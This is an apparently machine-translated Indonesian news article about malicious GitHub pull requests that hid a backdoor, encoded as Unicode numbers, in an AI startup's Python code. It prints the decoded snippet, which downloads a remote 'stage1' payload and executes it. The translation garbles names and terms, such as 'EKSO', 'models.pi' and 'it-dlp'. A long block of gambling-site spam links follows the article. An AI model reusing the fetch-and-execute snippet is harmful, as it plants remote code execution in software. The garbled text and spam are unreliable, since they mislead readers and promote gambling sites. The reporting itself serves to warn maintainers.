Proyek GitHub telah ditargetkan dengan komitmen jahat dan permintaan penarikan, dalam upaya untuk memasukkan pintu belakang ke dalam proyek ini.
Baru-baru ini, repositori GitHub dari Eko Labs, sebuah startup kecerdasan buatan dan pembelajaran mesin, menjadi sasaran serangan, membuat banyak orang bertanya-tanya tentang niat sebenarnya dari para penyerang.
'Humas yang tampak polos' ketahuan menyuntikkan pintu belakang
Pada hari Selasa, Alex Chima, salah satu pendiri EKSO Labs, memperingatkan semua orang tentang perubahan kode yang “tampak tidak bersalah” yang dikirimkan ke repositori EKSO GitHub.
Permintaan penarikan berjudul “klarifikasi persyaratan mlk untuk model pencarian mendalam” mencoba memodifikasi file Python models.pi di basis kode Eco dengan menambahkan serangkaian angka ke dalamnya:
— Alek Cheema – e/acc (@alekocheema) 12 November 2024
Ini adalah nomor Unicode, masing-masing mewakili karakter. Dengan kata lain, kode Python teks biasa diubah menjadi bentuk yang setara secara numerik menggunakan teknik sederhana yang digunakan oleh pengguna yang mengirimkan perubahan kode.
Rangkaian karakter ini, “105, 109, 112, 111, 114, 116,…” diterjemahkan ke dalam cuplikan kode berikut (URL dihilangkan karena alasan keamanan):
impor os impor urllib impor urllib.request k = urllib.rekuest.urlopen(“hkkps://vvv.evildojo(.)com/stage1paiload”) i = k.read() z = i.decode(“utf8”) k .close() os.sistem(z)
Sepotong kode yang agak sederhana mencoba terhubung ke evildojo(.)com dan apa yang tampak seperti muatan “tahap1”.
Jika perubahan kode telah disetujui dan digabungkan dengan repositori resmi EKSO, padahal sebenarnya tidak, siapa pun yang menggunakan produk tersebut dapat mengeksekusi kode yang disajikan dari jarak jauh melalui URL di sistem mereka — dan dengan demikian terdapat pintu belakang yang berfungsi di dalamnya.
Namun, ketika diakses oleh BleepingComputer, tautan tersebut mengembalikan 404 (tidak ditemukan), dan menurut beberapa orang lain yang mencoba mengakses URL tersebut, tidak ada konten yang pernah ada di situs tersebut.
Siapa di baliknya dan mengapa?
Di sinilah segalanya menjadi rumit dan tidak ada jawaban pasti yang terlihat.
Komit tersebut tampaknya telah dikirimkan oleh pengguna GitHub, “evildojo666”, sebuah akun yang telah dihapus.
Halaman yang diarsipkan untuk nama pengguna dan domain GitHub evildojo(.)com menunjuk ke Mike Bell, seorang peneliti keamanan, peretas etis, dan insinyur perangkat lunak yang berbasis di Texas yang dengan tegas menyangkal ada hubungannya dengan peretasan tersebut.
Bell mengklaim seseorang meniru dirinya dan mengirimkan kode berbahaya ini untuk mencorengnya.
Pernyataan oleh Mike Bell (X/Twitter)
Bell melanjutkan dengan menyatakan bahwa “tidak pernah ada beban apa pun…mengapa orang terus berasumsi bahwa ada beban?”
Sejujurnya, cerita Bell semakin bertambah. Siapa pun dapat dengan mudah membuat akun GitHub menggunakan detail dan gambar profil orang lain dan mulai mengirimkan perubahan kode dan menarik permintaan ke proyek — semuanya dengan menyamar sebagai orang lain.
Tidak adanya halaman “stage1paiload” di domain evildojo merupakan indikasi lain bahwa karena domain tersebut tidak pernah menyajikan kode berbahaya apa pun, kemungkinan ini merupakan kampanye melawan pemilik domain, Mike Bell.
Akun GitHub lain yang sekarang dihapus “darkimage666” diidentifikasi oleh Malcoreio, sebuah platform analisis malware dan rekayasa balik. Akun ini juga menyamar sebagai Bell dan tampaknya terlibat dalam upaya jahat untuk mendistribusikan komitmen pintu belakang ke proyek sumber terbuka.
“Bukan aku, si peniru. Kami informasikan kepada Anda bahwa akun tersebut telah dihapus. Saya sangat menyesal karena orang-orang terlibat dalam kekacauan dengan saya, ”kata Bell di akun penipu itu.
Menargetkan banyak proyek
Pengguna media sosial, termasuk ChrzanKong, memperhatikan bahwa beberapa proyek lain ditargetkan oleh akun pengguna GitHub berbeda dengan komitmen serupa.
Menurut analis ancaman vk-underground, “it-dlp”, pengunduh audio dan video open source yang populer, juga menjadi sasaran. Malcor telah mengidentifikasi setidaknya 18 contoh permintaan penarikan serupa yang menargetkan proyek lain.
Pada saat penulisan, BleepingComputer mencatat bahwa banyak tindakan jahat dan akun pengguna GitHub “muppet” yang terkait, beberapa di antaranya tampaknya berbasis di Indonesia, telah dihapus.
Insinyur Google dan Pimpinan Acara Teknologi, Bogdan Stanga dapat membuat ulang permintaan penarikan untuk menguji Peninjau AI Presubmit, yang menggunakan Tindakan GitHub untuk segera melakukan peninjauan kode terhadap permintaan penarikan yang masuk ke repositori Anda. Perubahan kode pengujian segera ditandai dengan peringatan “keamanan penting” oleh peninjau:
Peninjau AI Presubmit Menangkap PR Berbahaya Serupa (BleepingComputer)
Insiden ini, meskipun diketahui dan diredam sejak awal, mencerminkan serangan signifikan terhadap rantai pasokan kz yang baru-baru ini menunjukkan bagaimana kode berbahaya dapat dimasukkan ke dalam perpustakaan sumber terbuka yang sah dan populer oleh pelaku kejahatan.
Pengelola proyek sumber terbuka didesak untuk memeriksa permintaan penarikan yang masuk, melalui alat otomatis dan tinjauan kode manusia yang ekstensif, meskipun permintaan tersebut tampaknya berasal dari kontributor yang “tulus”.
unity software
unity software information
software information
Informasi mengenai king slot
king selot
king slot
king slot
kingselot
pg king slot
merek 88
merek 88
mantan99
mantan88
maksimal88
maksimal88
liburan88
indodax88
indah99
indah88
ikn88
ibukota88
huawei88
hot888
hot88
dingin88
citra88
binance88
best99
best88
tradisional 88
tradisional 88
tombol88
tombol88
survey88
survey88
start88
start88
obatkuat88
obatkuat88
mcb88
mcb88
master99
master888
master88
live88
live88
libra88
kompresor88
kompresor88
kesimpulan88
kesimpulan88
kapasitor88
kapasitor88
kacamata88
kacamata88
jamu88
jamu88
jam88
jam88
follow88
follow88
dinamo88
dinamo88
baterai88
baterai88
miegacoan
miegacoan
gacoan
gacoan
website88
waweb88
waweb88
translate88
translate88
tempur888
tempur888
tambang99
tambang99
support88
support88
support88
sogoslot88
siap88
siap88
rog88
rog77
pt88
pt88
pln88
pln88
oke99
oke88
mining88
livechat88
livechat88
listrik88
listrik88
listrik88
freeport88
freeport88
free88
free88
domain88
domain88
dokter888
dokter888
bmkg88
bmkg88
asn88
merek 88 permainan paling top dan garansi imbal balik hasil besar bersama https://merek88.net/
merek 88 permainan paling top dan garansi imbal balik hasil besar bersama https://merek88.com/
mantan99 permainan paling top dan garansi imbal balik hasil besar bersama https://mantan99.asia/
mantan88 permainan paling top dan garansi imbal balik hasil besar bersama https://mantan88.asia/
maksimal88 permainan paling top dan garansi imbal balik hasil besar bersama https://maksimal88.biz/
maksimal88 permainan paling top dan garansi imbal balik hasil besar bersama https://maksimal88.asia/
liburan88 permainan paling top dan garansi imbal balik hasil besar bersama https://liburan88.com/
indodax88 permainan paling top dan garansi imbal balik hasil besar bersama https://indodax88.org/
indah99 permainan paling top dan garansi imbal balik hasil besar bersama https://indah99.asia/
indah88 permainan paling top dan garansi imbal balik hasil besar bersama https://indah88.asia/
ikn88 permainan paling top dan garansi imbal balik hasil besar bersama https://ikn88.asia/
ibukota88 permainan paling top dan garansi imbal balik hasil besar bersama https://ibukota88.com/
huawei88 permainan paling top dan garansi imbal balik hasil besar bersama https://huawei88.asia/
hot888 permainan paling top dan garansi imbal balik hasil besar bersama https://hot888.asia/
hot88 permainan paling top dan garansi imbal balik hasil besar bersama https://hot88.sale/
dingin88 permainan paling top dan garansi imbal balik hasil besar bersama https://dingin88.net/
citra88 permainan paling top dan garansi imbal balik hasil besar bersama https://citra88.asia/
binance88 permainan paling top dan garansi imbal balik hasil besar bersama https://binance88.net/
best99 permainan paling top dan garansi imbal balik hasil besar bersama https://best99.info/
best88 permainan paling top dan garansi imbal balik hasil besar bersama https://best88.asia/
tradisional 88 permainan paling top dan garansi imbal balik hasil besar bersama https://tradisional88.net/
tradisional 88 permainan paling top dan garansi imbal balik hasil besar bersama https://tradisional88.com/
tombol88 permainan paling top dan garansi imbal balik hasil besar bersama https://tombol88.org/
tombol88 permainan paling top dan garansi imbal balik hasil besar bersama https://tombol88.net/
survey88 permainan paling top dan garansi imbal balik hasil besar bersama https://survey88.net/
survey88 permainan paling top dan garansi imbal balik hasil besar bersama https://survey88.com/
start88 permainan paling top dan garansi imbal balik hasil besar bersama https://start88.org/
start88 permainan paling top dan garansi imbal balik hasil besar bersama https://start88.asia/
obatkuat88 permainan paling top dan garansi imbal balik hasil besar bersama https://obatkuat88.net/
obatkuat88 permainan paling top dan garansi imbal balik hasil besar bersama https://obatkuat88.com/
mcb88 permainan paling top dan garansi imbal balik hasil besar bersama https://mcb88.info/
mcb88 permainan paling top dan garansi imbal balik hasil besar bersama https://mcb88.asia/
master99 permainan paling top dan garansi imbal balik hasil besar bersama https://master99.biz/
master888 permainan paling top dan garansi imbal balik hasil besar bersama https://master888.asia/
master88 permainan paling top dan garansi imbal balik hasil besar bersama https://master88.asia/
live88 permainan paling top dan garansi imbal balik hasil besar bersama https://live88.bio/
live88 permainan paling top dan garansi imbal balik hasil besar bersama https://live88.asia/
libra88 permainan paling top dan garansi imbal balik hasil besar bersama https://libra88.net/
kompresor88 permainan paling top dan garansi imbal balik hasil besar bersama https://kompresor88.net/
kompresor88 permainan paling top dan garansi imbal balik hasil besar bersama https://kompresor88.com/
kesimpulan88 permainan paling top dan garansi imbal balik hasil besar bersama https://kesimpulan88.net/
kesimpulan88 permainan paling top dan garansi imbal balik hasil besar bersama https://kesimpulan88.com/
kapasitor88 permainan paling top dan garansi imbal balik hasil besar bersama https://kapasitor88.net/
kapasitor88 permainan paling top dan garansi imbal balik hasil besar bersama https://kapasitor88.com/
kacamata88 permainan paling top dan garansi imbal balik hasil besar bersama https://kacamata88.net/
kacamata88 permainan paling top dan garansi imbal balik hasil besar bersama https://kacamata88.com/
jamu88 permainan paling top dan garansi imbal balik hasil besar bersama https://jamu88.info/
jamu88 permainan paling top dan garansi imbal balik hasil besar bersama https://jamu88.asia/
jam88 permainan paling top dan garansi imbal balik hasil besar bersama https://jam88.info/
jam88 permainan paling top dan garansi imbal balik hasil besar bersama https://jam88.asia/
follow88 permainan paling top dan garansi imbal balik hasil besar bersama https://follow88.org/
follow88 permainan paling top dan garansi imbal balik hasil besar bersama https://follow88.net/
dinamo88 permainan paling top dan garansi imbal balik hasil besar bersama https://dinamo88.net/
dinamo88 permainan paling top dan garansi imbal balik hasil besar bersama https://dinamo88.info/
baterai88 permainan paling top dan garansi imbal balik hasil besar bersama https://baterai88.net/
baterai88 permainan paling top dan garansi imbal balik hasil besar bersama https://baterai88.com/
miegacoan permainan paling top dan garansi imbal balik hasil besar bersama https://miegacoan.life/
miegacoan permainan paling top dan garansi imbal balik hasil besar bersama https://miegacoan.asia/
gacoan permainan paling top dan garansi imbal balik hasil besar bersama https://gacoan.org/
gacoan permainan paling top dan garansi imbal balik hasil besar bersama https://gacoan.asia/
website88 permainan paling top dan garansi imbal balik hasil besar bersama https://website88.org/
waweb88 permainan paling top dan garansi imbal balik hasil besar bersama https://waweb88.net/
waweb88 permainan paling top dan garansi imbal balik hasil besar bersama https://waweb88.com/
translate88 permainan paling top dan garansi imbal balik hasil besar bersama https://translate88.net/
translate88 permainan paling top dan garansi imbal balik hasil besar bersama https://translate88.com/
tempur888 permainan paling top dan garansi imbal balik hasil besar bersama https://tempur888.info/
tempur888 permainan paling top dan garansi imbal balik hasil besar bersama https://tempur888.asia/
tambang99 permainan paling top dan garansi imbal balik hasil besar bersama https://tambang99.news/
tambang99 permainan paling top dan garansi imbal balik hasil besar bersama https://tambang99.asia/
support88 permainan paling top dan garansi imbal balik hasil besar bersama https://support88.org/
support88 permainan paling top dan garansi imbal balik hasil besar bersama https://support88.net/
support88 permainan paling top dan garansi imbal balik hasil besar bersama https://support88.asia/
sogoslot88 permainan paling top dan garansi imbal balik hasil besar bersama https://sogoslot88.asia/
siap88 permainan paling top dan garansi imbal balik hasil besar bersama https://siap88.news/
siap88 permainan paling top dan garansi imbal balik hasil besar bersama https://siap88.asia/
rog88 permainan paling top dan garansi imbal balik hasil besar bersama https://rog88.asia/
rog77 permainan paling top dan garansi imbal balik hasil besar bersama https://rog77.info/
pt88 permainan paling top dan garansi imbal balik hasil besar bersama https://pt88.info/
pt88 permainan paling top dan garansi imbal balik hasil besar bersama https://pt88.asia/
pln88 permainan paling top dan garansi imbal balik hasil besar bersama https://pln88.biz/
pln88 permainan paling top dan garansi imbal balik hasil besar bersama https://pln88.asia/
oke99 permainan paling top dan garansi imbal balik hasil besar bersama https://oke99.asia/
oke88 permainan paling top dan garansi imbal balik hasil besar bersama https://oke88.asia/
mining88 permainan paling top dan garansi imbal balik hasil besar bersama https://mining88.org/
livechat88 permainan paling top dan garansi imbal balik hasil besar bersama https://livechat88.info/
livechat88 permainan paling top dan garansi imbal balik hasil besar bersama https://livechat88.asia/
listrik88 permainan paling top dan garansi imbal balik hasil besar bersama https://listrik88.org/
listrik88 permainan paling top dan garansi imbal balik hasil besar bersama https://listrik88.info/
listrik88 permainan paling top dan garansi imbal balik hasil besar bersama https://listrik88.asia/
freeport88 permainan paling top dan garansi imbal balik hasil besar bersama https://freeport88.net/
freeport88 permainan paling top dan garansi imbal balik hasil besar bersama https://freeport88.com/
free88 permainan paling top dan garansi imbal balik hasil besar bersama https://free88.org/
free88 permainan paling top dan garansi imbal balik hasil besar bersama https://free88.asia/
domain88 permainan paling top dan garansi imbal balik hasil besar bersama https://domain88.org/
domain88 permainan paling top dan garansi imbal balik hasil besar bersama https://domain88.asia/
dokter888 permainan paling top dan garansi imbal balik hasil besar bersama https://dokter888.net/
dokter888 permainan paling top dan garansi imbal balik hasil besar bersama https://dokter888.asia/
bmkg88 permainan paling top dan garansi imbal balik hasil besar bersama https://bmkg88.net/
bmkg88 permainan paling top dan garansi imbal balik hasil besar bersama https://bmkg88.com/
asn88 permainan paling top dan garansi imbal balik hasil besar bersama https://asn88.org/
